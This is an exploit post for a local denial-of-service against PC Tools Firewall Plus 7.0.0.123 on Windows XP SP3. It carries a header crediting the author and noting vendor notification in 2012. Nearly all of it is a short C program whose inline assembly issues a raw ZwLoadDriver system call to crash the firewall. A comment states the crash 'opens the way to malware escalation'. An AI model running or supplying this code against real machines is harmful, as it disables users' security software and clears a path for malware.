PC Tools Firewall Plus 7.0.0.123 Denial Of Service

/*
Exploit Title: PC Tools Firewall Plus Local DoS
Version: 7.0.0.123
Author: 0in (Maksymilian Motyl)
Software Link: www.pctools.com
Tested on: Windows XP SP3
Vendor was notified 25.06.2012 - No reply
*/

// After executing this small code, PC Tools Firewall crashes so it opens the way to malware escalation
#include "stdafx.h"
#include <Windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
    for(int i=0;i<512;i++)
        printf(".");
     _asm
     {
          push 0xffffff
          mov eax,61h ;          ZwLoadDriver
          mov edx,7FFE0300h ; ntdll.KiFastSystemCall
          call dword ptr ds:[edx]

     }


     return 0;
}